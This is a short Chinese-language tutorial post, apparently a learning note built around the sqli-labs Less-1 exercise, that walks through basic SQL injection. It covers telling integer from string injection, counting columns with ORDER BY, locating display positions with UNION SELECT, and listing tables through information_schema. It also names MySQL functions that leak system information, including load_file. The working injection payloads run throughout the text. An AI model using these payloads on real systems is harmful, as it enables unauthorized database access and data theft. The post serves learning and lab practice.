• SQL注入基本步骤


    一、判断是否可以注入,是何种注入类型(整型,字符型)
    举例、
    http://xxx/xxx/Less-1/
    输入?id=1 and 1=1 --+正常,输入?id=1 and 1=2 --+报错,可判断为整型注入。
    输入?id=1’出现报错,输入?id=1’‘正常,可判断为字符型注入。
    总结:
    单引号是用来猜测是否存在字符型注入,不加就是猜测是否存在整型注入。
    二、判断查询返回了多少个列
    判断完整型还是字符型后,去判断有多少列,当输入的列数超过它本来的就会出现报错。
    举例、
    id=1’ order by 3 --+ 未报错
    id=1’ order by 4 --+ 报错
    则这个数据库有3列数据
    三、判断显示位及在显示位上放一些sql函数来获取你想要知道的。
    id改为0或负数或100000这种很大的数,这中不存在的情况就会使其报错,就会直接执行后面的语句。
    id=0’ union select 1,2,3 --+ 判断其中的显示位为哪个,就可以加入sql函数来进行测试
    例如:id=-1’ union select database(),2,3 --+

    MySql的函数有
    1、system_user() 系统用户名
    2、user() 用户名
    3、current_user 当前用户名
    4、session_user() 连接数据库的用户名
    5、database() 数据库名
    6、version() MYSQL数据库版本
    7、load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
    8、@@datadir 读取数据库路径
    9、@@basedir MYSQL 安装路径
    10、@@version_compile_os 操作系统

    四、使用已知的数据库名查找表民
    id=-1’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=“sqli(目标表所在库)” --+

    两种SQL语句的区别:

    数字型: SELECT 列 FROM 表 WHERE 数字型列=值
    字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

  • 相关阅读:
    QT 弹框 洲际导弹
    QT 可执行程序 无法定位程序输入点与动态库 XXXX上 洲际导弹
    Centos 连接MySQL 洲际导弹
    Project ERROR: Cannot run compiler 'cl'. Output: 洲际导弹
    Windows安全认证是如何进行的?[NTLM篇]
    新安装SuSE后,配置IP相关参数
    Windows安全认证是如何进行的?[Kerberos篇]
    Exchange 2013信息权限保护之Exchange集成RMS
    EXCHANGE客户端访问服务器(CAS)中的身份验证方式
    SocketUDPBase
  • 原文地址:https://www.cnblogs.com/linyu51/p/16501693.html
Copyright © 2020-2023  润新知